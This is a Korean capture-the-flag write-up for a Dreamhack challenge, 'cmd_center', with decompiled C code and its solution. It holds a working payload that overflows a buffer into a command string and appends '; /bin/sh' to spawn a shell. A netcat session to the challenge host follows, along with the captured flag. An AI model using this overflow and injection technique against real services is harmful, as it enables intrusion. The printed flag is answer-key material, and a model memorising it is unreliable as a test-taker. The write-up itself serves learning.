Description
IP를 확인할 필요가 없습니다! 혹시 다른 명령어는 못쓰나요?
다른 명령어를 사용했다면 플래그를 획득하세요!
cmd_center.c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char buf[32]; // [rsp+0h] [rbp-130h] BYREF char s1[10]; // [rsp+20h] [rbp-110h] BYREF __int16 v5; // [rsp+2Ah] [rbp-106h] int v6; // [rsp+2Ch] [rbp-104h] char v7[240]; // [rsp+30h] [rbp-100h] BYREF _QWORD v8[2]; // [rsp+120h] [rbp-10h] BYREF v8[1] = __readfsqword(0x28u); strcpy(s1, "ifconfig"); s1[9] = 0; v5 = 0; v6 = 0; memset(v7, 0, sizeof(v7)); init(v8, argv, v7); printf("Center name: "); read(0, buf, 0x64uLL); if ( !strncmp(s1, "ifconfig", 8uLL) ) system(s1); else puts("Something is wrong!"); exit(0); }
Solution
- read 함수에서 buf를 0x64만큼 입력받는데, 할당된 buf 크기는 32바이트이므로 버퍼 오버플로우가 발생한다.
- 버퍼 오버플로우를 발생시켜 s1은 ifconfig 그대로 strncmp 검사에서 통과하도록 만들고 그 뒤에 ;을 붙여 뒤에 쉘을 띄우도록 /bin/sh를 추가해준다.
Stack
================
RET
================
RBP
================
…
================
s1[10] <- rbp-0x110
================
buf[32] <- rbp-0x130
================
s1과 buf 거리가 32바이트 차이나므로 그만큼 더미인 A로 채우고, ifconfig; /bin/sh를 입력하면 쉘을 띄울 수 있다.
Result
iotfragile@iotfragile:~/CTF/cmd_center$ nc host3.dreamhack.games 20091 Center name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAifconfig; /bin/sh ls cmd_center flag run.sh cat flag DH{f4c11bf9ea5a1df24175ee4d11da0d16}
FLAG
DH{f4c11bf9ea5a1df24175ee4d11da0d16}